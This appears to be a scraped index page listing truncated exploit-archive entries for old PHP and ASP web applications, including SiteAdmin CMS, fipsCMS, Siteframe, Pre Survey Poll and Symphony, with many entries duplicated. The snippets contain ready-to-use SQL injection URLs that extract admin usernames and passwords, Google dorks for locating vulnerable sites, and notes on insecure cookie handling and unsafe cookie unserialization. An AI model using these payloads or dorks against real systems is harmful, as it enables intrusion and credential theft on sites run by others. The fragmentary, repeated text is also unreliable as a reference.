LiteNews <= 0.1 Insecure Cookie Handling Vulnerability

No description provided by source. litenews-01 = 1.2 Insecure Cookie Handling Vulnerability AUTHOR : Scary-Boys HOME : http://scary-boys.com Download : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.htmldownloadlocations DorKs : "Powered By litenews" DESCRIPTION : Maian...

Free Hosting Manager 1.22.0 - Insecure Cookie Handling

Free Hosting Manager 1.22.0 - Insecure Cookie Handling Free Hosting Manager = 1.2 & 2.0 Insecure Cookie Handling Vulnerability AUTHOR : Scary-Boys HOME : http://scary-boys.com Founded By : lvlr-Erfan Download : http://www.fhm-script.com/download.php DorKs : "Powered By Free Hosting Manager"...

litenews-cookie.txt

litenews-01 = 1.2 Insecure Cookie Handling Vulnerability AUTHOR : Scary-Boys HOME : http://scary-boys.com Download : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.htmldownloadlocations DorKs : "Powered By litenews" DESCRIPTION : Maian Guestbook suffers from a insecure...

LiteNews 0.1 - Insecure Cookie Handling

LiteNews 0.1 - Insecure Cookie Handling litenews-01 = 1.2 Insecure Cookie Handling Vulnerability AUTHOR : Scary-Boys HOME : http://scary-boys.com Download : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.htmldownloadlocations DorKs : "Powered By litenews" DESCRIPTION : Mai...

LiteNews 0.1 - Insecure Cookie Handling

litenews-01 = 1.2 Insecure Cookie Handling Vulnerability AUTHOR : Scary-Boys HOME : http://scary-boys.com Download : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.htmldownloadlocations DorKs : "Powered By litenews" DESCRIPTION : Maian Guestbook suffers from a insecure...

Symphony 1.7.01 (non-patched) - Remote Code Execution

Symphony 1.7.01 non-patched - Remote Code Execution db-fetchRow0, $sql; ... ... ifisset$COOKIESYMCOOKIE $args = unserialize$COOKIESYMCOOKIE; $result = $this-login$args'username', $args'password', true, false; ------------------/source code--------------------- password value from cookie is not...

Symphony 1.7.01 (non-patched) - Remote Code Execution

db-fetchRow0, $sql; ... ... ifisset$COOKIESYMCOOKIE $args = unserialize$COOKIESYMCOOKIE; $result = $this-login$args'username', $args'password', true, false; ------------------/source code--------------------- password value from cookie is not properly sanitized so the code above is vulnerable to ...

siteadmincms-sql.txt

SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel :...

SiteAdmin CMS (art) Remote SQL Injection Vulnerability

No description provided by source. SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel...

SiteAdmin CMS (art) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ====================================================== SiteAdmin CMS art Remote SQL Injection Vulnerability ====================================================== SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com...

fipsCMS light <= 2.1 (r) Remote SQL Injection Vulnerability

No description provided by source. Exploit Code: victim/path/home/index.asp?w=pages&r=9999999 union select all 0,username,null,0x1 from admin victim/path/home/index.asp?w=pages&r=9999999 union select all 0,password,null,0x1 from admin http://localhost:2222/lab/cms/admin...

SiteAdmin CMS - art SQL Injection

SiteAdmin CMS - art SQL Injection SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel ...

SiteAdmin CMS - 'art' SQL Injection

SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel :...

FipsCMS Light 2.1 - r SQL Injection

FipsCMS Light 2.1 - r SQL Injection Exploit Code: victim/path/home/index.asp?w=pages&r=9999999 union select all 0,username,null,0x1 from admin victim/path/home/index.asp?w=pages&r=9999999 union select all 0,password,null,0x1 from admin http://localhost:2222/lab/cms/admin...

fipsCMS light <= 2.1 (r) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications =========================================================== fipsCMS light = 2.1 r Remote SQL Injection Vulnerability =========================================================== Exploit Code: victim/path/home/index.asp?w=pages&r=9999999 uni...

presurveypoll-sql.txt

PRE SURVEY POLL Remote Sql Injection DreamTurk / sqL Lov3r'Z Crew Co. 2008 Downlod: http://www.preproject.com/poll.asp / Price $28.00 Demo : http://www.preproject.com/poll/default.asp Sql : http://localhost/patch/default.asp?catid=1+union+select+0,username+from+users...

Pre Survey Poll (default.asp catid) SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== Pre Survey Poll default.asp catid SQL Injection Vulnerability =============================================================== PRE SURVEY POLL Remote Sql Injection DreamTurk /...

Pre Survey Poll - 'catid' SQL Injection

PRE SURVEY POLL Remote Sql Injection DreamTurk / sqL Lov3r'Z Crew Co. 2008 Downlod: http://www.preproject.com/poll.asp / Price $28.00 Demo : http://www.preproject.com/poll/default.asp Sql : http://localhost/patch/default.asp?catid=1+union+select+0,username+from+users...

siteframe-sql.txt

SQL-Injection in Siteframe CMS all versions Author: n0ne E-Mail: [email protected] Vulnerable script: folder.php Vulnerable var: id CMS Homepage: http://www.siteframe.org Exploit PoC: http://www.target.com/folder.php?id=370+and1=2+union+select+1,2,3,4,5,6,7,8,concatws0x3a,useremail,userpasswd,10,...

Siteframe CMS 3.2.3 - folder.php SQL Injection

Siteframe CMS 3.2.3 - folder.php SQL Injection SQL-Injection in Siteframe CMS all versions Author: n0ne E-Mail: [email protected] Vulnerable script: folder.php Vulnerable var: id CMS Homepage: http://www.siteframe.org Exploit PoC:...